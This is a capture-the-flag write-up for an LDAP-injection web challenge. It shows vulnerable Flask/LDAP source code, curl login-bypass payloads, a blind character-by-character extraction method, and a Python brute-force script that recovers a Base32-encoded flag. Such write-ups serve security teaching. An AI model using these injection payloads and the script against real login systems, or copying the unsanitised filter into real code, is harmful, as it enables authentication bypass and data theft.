Revenge of the Directory
- Category: Web
- 360 points
- Solved by JCTF Team
Description
The application sources were attached.
Click to view sources
index.py
from flask import Flask, render_template, request
from auth import authenticate_user
app = Flask("App")
@app.route('/')
def index():
return render_template('login.html')
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
username = authenticate_user(username, password)
if username:
return render_template("welcome.html", username=username)
else:
return render_template('login.html', error='Username or password is incorrect')
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
auth.py
import ldap3
import os
import base64
import time
import sys
SERVER = "ldap"
LDAP_SERVER = f'ldap://{SERVER}'
LDAP_USER = os.getenv("LDAP_USER", 'cn=admin,dc=owasp,dc=ctf')
LDAP_PASSWORD = os.getenv("LDAP_PASSWORD", 'admin')
BASE_DN = os.getenv('BASE_DN', 'dc=owasp,dc=ctf')
FLAG = base64.b32encode((os.getenv("FLAG") or "flag{yeah_not_the_real_flag}").encode()).decode()
def create_ldap_connection():
try:
server = ldap3.Server(LDAP_SERVER, port=1389, get_info=ldap3.ALL)
connection = ldap3.Connection(server, user=LDAP_USER, password=LDAP_PASSWORD, auto_bind=True)
return connection
except Exception as e:
print(f"Failed to connect to LDAP server, retrying... Error: {e}")
def authenticate_user(username: str, password: str):
connection = create_ldap_connection()
if connection is None:
return None
try:
search_filter = f"(&(cn={username})(userPassword={password}))"
connection.search(
search_base=BASE_DN,
search_filter=search_filter,
search_scope=ldap3.SUBTREE,
attributes=['cn']
)
result = connection.entries
if result:
return result[0].cn.value[1]
else:
return None
except Exception as e:
print(e, file=sys.stderr)
finally:
connection.unbind()
return None
time.sleep(3)
connection = create_ldap_connection()
connection.modify(
dn="cn=DaGoat,ou=users,dc=owasp,dc=ctf",
changes={'description': [(ldap3.MODIFY_REPLACE, [FLAG])]}
)
if connection.result['result'] == 0:
print('Description updated successfully')
else:
print('Modify failed:', connection.result)
docker-compose.yml
version: "3"
services:
ldap:
image: bitnami/openldap:latest
environment:
LDAP_ROOT: 'dc=owasp,dc=ctf'
LDAP_ADMIN_DN : 'cn=admin,dc=owasp,dc=ctf'
LDAP_ADMIN_USERNAME: 'admin'
LDAP_ADMIN_PASSWORD: 'admin'
LDAP_USERS: 'DaGoat'
LDAP_PASSWORDS: 'fake'
ports:
- "1389:1389"
restart: always
backend:
build: backend
depends_on:
- ldap
expose:
- "5000"
environment:
FLAG: "AppSec-IL{fake_flag}"
restart: always
Solution
This is the follow-up for OUtbreak. Let's start by trying the trick that allowed us to login there:
┌──(user@kali3)-[/media/sf_CTFs/appsec/Revenge_of_the_directory]
└─$ curl 'https://revenge-of-the-directory.appsecil.ctf.today/login' \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'username=DaGoat&password=*%29%28objectClass%3D*' -s | grep DaGoat -A 3
<h1>Welcome, DaGoat!</h1>
<h6>(Or a stranger?)</h6>
<p class="message">You have successfully logged in.</p>
<h3>Just in case any unauthorized individuals are sneaking around... I've hidden the flag in the description.</h3>
It still works, but this time the flag is hidden elsewhere - in the description of DaGoat's
entry (encoded as Base32). While we can control (to some extent) the query in authenticate_user
,
we can't control what it returns - we can't actually have it return the flag. However,
what we can do is craft a query that leaks the (base32 encoded) flag character by character.
For example, to leak the first encoded character of the flag, we guess a character and craft the filter so that if we guessed correctly, the filter will return a result and we'll log in. Otherwise, the filter will return an empty result and we'll stay logged out.
Once we have this, we simply need to iterate all possible Base32 characters to leak the first character, then apply the same method to leak the next one and so on.
This is an example for the behavior when the guess is incorrect:
┌──(user@kali3)-[/media/sf_CTFs/appsec/Revenge_of_the_directory]
└─$ curl 'https://revenge-of-the-directory.appsecil.ctf.today/login' \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'username=DaGoat&password=*)(|(description=A*)' -s | grep Welcome
And this is how it would look like if the guess is correct:
┌──(user@kali3)-[/media/sf_CTFs/appsec/Revenge_of_the_directory]
└─$ curl 'https://revenge-of-the-directory.appsecil.ctf.today/login' \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'username=DaGoat&password=*)(|(description=I*)' -s | grep Welcome
<title>Welcome</title>
<h1>Welcome, DaGoat!</h1>
We can have ChatGPT create an exploitation script in seconds:
import requests
URL = 'https://revenge-of-the-directory.appsecil.ctf.today/login'
CHARSET = 'IABCDEFGHIJKLMNOPQRSTUVWXYZ234567' # Base32 character set
PREFIX = '' # Known flag prefix so far
USERNAME = 'DaGoat'
def try_char(prefix, c):
password = f'*)(|(description={prefix + c}*)'
data = {
'username': USERNAME,
'password': password
}
try:
r = requests.post(URL, data=data)
return 'Welcome' in r.text
except Exception as e:
print(f"Request failed for {prefix + c}: {e}")
return False
def brute_force_flag():
global PREFIX
print("[*] Starting brute-force...")
while True:
found = False
for c in CHARSET:
print(f"[*] Trying: {PREFIX + c}")
if try_char(PREFIX, c):
PREFIX += c
print(f"[+] Found: {PREFIX}")
found = True
break
if not found:
print("[!] No match found for next character. Assuming flag is complete.")
break
print(f"[🏁] Base32 Flag: {PREFIX}")
if __name__ == '__main__':
brute_force_flag()
We let it run and eventually get the flag:
┌──(user@kali3)-[/media/sf_CTFs/appsec/Revenge_of_the_directory]
└─$ python3 solve.py
...
[*] Trying: IFYHAU3FMMWUSTD3GVRXEMTQOQYWSTTHL52DAX3FPBTGY2LUOI2HIZK7GFJV6M3WNFWH23
[*] Trying: IFYHAU3FMMWUSTD3GVRXEMTQOQYWSTTHL52DAX3FPBTGY2LUOI2HIZK7GFJV6M3WNFWH24
[*] Trying: IFYHAU3FMMWUSTD3GVRXEMTQOQYWSTTHL52DAX3FPBTGY2LUOI2HIZK7GFJV6M3WNFWH25
[*] Trying: IFYHAU3FMMWUSTD3GVRXEMTQOQYWSTTHL52DAX3FPBTGY2LUOI2HIZK7GFJV6M3WNFWH26
[*] Trying: IFYHAU3FMMWUSTD3GVRXEMTQOQYWSTTHL52DAX3FPBTGY2LUOI2HIZK7GFJV6M3WNFWH27
[!] No match found for next character. Assuming flag is complete.
[🏁] Base32 Flag: IFYHAU3FMMWUSTD3GVRXEMTQOQYWSTTHL52DAX3FPBTGY2LUOI2HIZK7GFJV6M3WNFWH2
We decode it and get the flag:
┌──(user@kali3)-[/media/sf_CTFs/appsec/Revenge_of_the_directory]
└─$ echo IFYHAU3FMMWUSTD3GVRXEMTQOQYWSTTHL52DAX3FPBTGY2LUOI2HIZK7GFJV6M3WNFWH2 | base32 -d
AppSec-IL{5cr2pt1iNg_t0_exflitr4te_1S_3vil}